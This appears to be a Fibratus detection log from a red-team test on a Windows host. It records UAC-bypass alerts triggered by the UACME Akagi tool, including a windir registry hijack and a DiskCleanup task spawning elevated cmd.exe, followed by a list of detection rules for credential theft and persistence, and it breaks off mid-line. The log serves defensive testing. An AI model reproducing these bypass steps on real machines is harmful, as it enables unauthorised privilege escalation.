14:35:08.2055901 +0100 CET + Params: data➜ C:\WINDOWS\system32\cmd.exe", key_handle➜ ffffc38f15aefec0, key_path➜ HKEY_CURRENT_USER\Environment\windir, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: Fake system root environment variable manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 2884 + Ppid: 17192 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 34 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 34] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:d0f7d3ce-f6b3-40d8-a34f-fa31eb36766a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T14:35:13+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:35:13+01:00 level=info msg=sending alert: [UAC bypass via DiskCleanup scheduled task hijack]. Text: Event(s): + Seq: 5599651 + Pid: 812 + Tid: 18252 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 14:35:08.5389137 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe"\system32\cleanmgr.exe" /autocleanstoragesense /d C:, directory_table_base➜ 3f2e76000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f6d8da080, name➜ cmd.exe, pid➜ 13616, ppid➜ 812, real_ppid➜ 812, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 14:35:08.5388379 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 9878927506721996800, rule.name: UAC bypass via DiskCleanup scheduled task hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 812 + Ppid: 1028 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T14:35:13+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:36:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:36:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:36:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:38:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T14:38:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T14:38:16+01:00 level=info msg=loading rule from 